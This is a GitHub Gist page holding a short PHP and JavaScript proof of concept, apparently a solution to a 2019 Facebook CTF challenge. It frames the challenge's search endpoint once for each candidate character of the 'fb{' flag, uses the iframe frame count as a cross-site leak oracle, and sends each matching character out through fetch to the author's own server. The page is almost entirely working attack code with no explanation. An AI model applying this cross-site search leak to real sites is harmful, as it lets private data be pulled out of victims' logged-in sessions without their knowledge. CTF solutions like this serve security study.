Created
June 1, 2019 13:49
-
-
Save tyage/774ec80429019e001160e5e7749f243b to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$prefix = ""; | |
if ($_GET["prefix"]) { $prefix = $_GET["prefix"]; } | |
for ($i = 20; $i <= 126; $i++) { | |
echo "<iframe id='" . chr($i) . "' src='http://challenges.fbctf.com:8082/search?query=fb%7b" . urlencode($prefix . chr($i)) ."'></iframe>"; | |
} | |
?> | |
<script> | |
Array.from(document.querySelectorAll('iframe')).forEach(f => { | |
f.onload = () => { | |
if (f.contentWindow.frames.length > 0) { | |
fetch('solved/?q=' + encodeURIComponent(f.id)); | |
} | |
} | |
}) | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment